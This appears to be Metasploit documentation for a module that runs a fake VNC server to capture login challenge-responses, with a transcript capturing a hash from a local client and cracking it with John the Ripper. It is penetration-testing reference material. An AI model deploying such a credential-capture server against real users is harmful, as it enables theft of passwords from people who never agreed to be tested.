70 lines
1.9 KiB
Markdown
70 lines
1.9 KiB
Markdown
This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an `Authentication failure` error is thrown.
|
|
|
|
## Verification Steps
|
|
|
|
1. Start msfconsole
|
|
2. Do: ```use auxiliary/server/capture/vnc```
|
|
3. Do: ```run```
|
|
|
|
## Options
|
|
|
|
**CHALLENGE**
|
|
|
|
The 16 byte challenge used in the authentication. Default is `00112233445566778899aabbccddeeff`.
|
|
|
|
**JOHNPWFILE**
|
|
|
|
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
|
|
|
|
**SSL**
|
|
|
|
Boolean if SSL should be used. Default is `False`.
|
|
|
|
**SSLCert**
|
|
|
|
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
|
generated. Default is ``.
|
|
|
|
## Scenarios
|
|
|
|
### VNC with vncviewer and JTR Cracking
|
|
|
|
Server, Client:
|
|
|
|
```
|
|
msf5 > use auxiliary/server/capture/vnc
|
|
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc
|
|
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
|
|
johnpwfile => /tmp/john
|
|
msf5 auxiliary(server/capture/vnc) > run
|
|
[*] Auxiliary module running as background job 0.
|
|
msf5 auxiliary(server/capture/vnc) >
|
|
[*] Started service listener on 0.0.0.0:5900
|
|
[*] Server started.
|
|
|
|
msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
|
|
[*] exec: vncviewer 127.0.0.1
|
|
|
|
Connected to RFB server, using protocol version 3.7
|
|
Performing standard VNC authentication
|
|
Password:
|
|
Authentication failure
|
|
|
|
[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce
|
|
```
|
|
|
|
John the Ripper (JTR) Cracker:
|
|
|
|
```
|
|
msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
|
|
[*] exec: john /tmp/john_vnc
|
|
|
|
Using default input encoding: UTF-8
|
|
Loaded 1 password hash (VNC [DES 32/64])
|
|
Press 'q' or Ctrl-C to abort, almost any other key for status
|
|
password (?)
|
|
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
|
|
Use the "--show" option to display all of the cracked passwords reliably
|
|
Session completed
|
|
```
|